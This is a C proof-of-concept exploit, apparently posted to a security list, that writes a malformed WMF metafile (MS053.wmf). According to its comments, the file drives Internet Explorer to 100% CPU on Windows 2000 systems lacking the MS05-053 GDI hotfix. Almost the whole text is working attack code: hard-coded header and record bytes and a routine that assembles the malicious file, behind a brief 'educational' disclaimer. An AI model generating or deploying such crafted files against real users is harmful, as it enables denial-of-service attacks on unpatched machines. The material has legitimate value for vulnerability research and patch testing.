ieDoS.pm.txt

`/*  
* Author: Winny Thomas  
* Pune, INDIA  
*  
* The crafted metafile from this code when viewed in  
internet explorer raises the CPU utilization   
* to 100%. The code was tested on Windows 2000 server  
SP4. The issue does not occur with the   
* hotfix for GDI (MS05-053) installed  
*  
* Disclaimer: This code is for educational/testing  
purposes by authosized persons on   
* networks/systems setup for such a purpose.The  
author of this code shall not bear   
* any responsibility for any damage caused by using  
this code.  
*  
*/  
  
#include <stdio.h>  
  
unsigned char wmfheader[] =   
"\xd7\xcd\xc6\x9a\x00\x00\xc6\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"  
"\x00\x00\x00\x00\x66\xa6"  
"\x01\x00"  
"\x09\x00"  
"\x00\x03"  
"\xff\xff\xff\xff" //Metafile file size  
"\x04\x00"  
"\xff\xff\xff\xff" //Largest record size  
"\x00\x00";  
  
unsigned char MetafileRECORD[] =   
"\x05\x00\x00\x00\x0b\x02\x39\x09\xc6\xfb\x08\x00\x00\x00\xfa\x02"  
"\x05\x00\x00\x00\x00\x00\xff\xff\xff\x00\x04\x00\x00\x00\x2d\x01"  
"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x04\x00\x00\x00\x2d\x01"  
"\x02\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xff\xff\xff\x00\x00\x00"  
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\x2d\x01\x02\x00"  
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00"  
"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"  
"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"  
"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xc6\xfb"  
"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"  
"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xc6\xfb\x9b\x03";  
  
unsigned char wmfeof[] =   
"\x00\x00\x00\x00";  
  
int main(int argc, char *argv[])  
{  
FILE *fp;  
char wmfbuf[1024];  
int metafilesize, metafilesizeW, i, j;  
  
metafilesize = sizeof (wmfheader) + sizeof  
(MetafileRECORD) + sizeof(wmfeof) -3;  
metafilesizeW = metafilesize/2;  
memcpy((unsigned long *)&wmfheader[28],  
&metafilesizeW, 4);  
  
printf("[*] Adding Metafile header\n");  
for (i = 0; i < sizeof(wmfheader) -1; i++) {  
(unsigned char)wmfbuf[i] = (unsigned  
char)wmfheader[i];  
}  
  
printf("[*] Adding Metafile records\n");  
for (j = i, i = 0; i < sizeof(MetafileRECORD) -1;  
i++, j++) {  
wmfbuf[j] = MetafileRECORD[i];  
}  
  
printf("[*] Adding EOF record\n");  
for (i = 0; i < sizeof(wmfeof) -1; i++, j++) {  
wmfbuf[j] = wmfeof[i];  
}  
  
printf("[*] Creating Metafile (MS053.wmf)\n");  
fp = fopen("MS053.wmf", "wb");  
fwrite(wmfbuf, 1, metafilesize, fp);  
fclose(fp);  
}  
  
  
  
  
__________________________________   
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http://www.yahoo.com/r/hs  
`